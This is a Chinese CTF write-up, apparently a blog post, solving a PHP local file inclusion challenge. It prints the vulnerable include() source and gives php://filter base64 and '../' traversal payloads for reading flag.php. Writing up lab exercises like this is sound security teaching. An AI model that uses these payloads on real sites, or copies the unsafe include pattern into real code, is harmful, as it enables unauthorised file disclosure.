题目:
发现url有点奇怪
![](https://i-blog.csdnimg.cn/direct/0506816f37624c81903ca0069785a0a1.png)
尝试读取一下flag.php,出现错误了
感觉有希望,一看url中还有个index.php,那就试试读取源码吧
![](https://i-blog.csdnimg.cn/direct/c6af28e997944968ba30c8a8e8eeda19.png)
![](https://i-blog.csdnimg.cn/direct/3748b4fd05dd4b94bb3d78d2e9b6c05b.png)
出现错误,原来是index.php.php重合了,把php去掉 ,出现了
php
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
让提交的内容中含有woofers,meowers或者index就行了
这里面write可写可不写:
write
的作用是将经过特定过滤处理后(用php://filter过滤的)的数据写入到指定的文件中。而index.php
就是指定的目标文件。也就是说,write=index.php
表示要把经过当前过滤器处理后的数据写入到index.php
文件里。
解码得到flag
![](https://i-blog.csdnimg.cn/direct/52cc25fc65d74901b93907479a03367d.png)
filter伪协议可以套一层参数,如(本题中包含woofers,meowers,index三个中的一个即可):
?category=php://filter/read=convert.base64-encode/woofers/resource=flag 或
?category=php://filter/read=index/convert.base64-encode/resource=flag(顺序可以变换)PHP对文件是否存在不关心,因为他只关心你最终所在的目录位置,甚至中间多套几层也不影响
所以可以构造payload去尝试读取flag.php文件
category=php://filter/read=convert.base64-encode/resource=meowers/../flag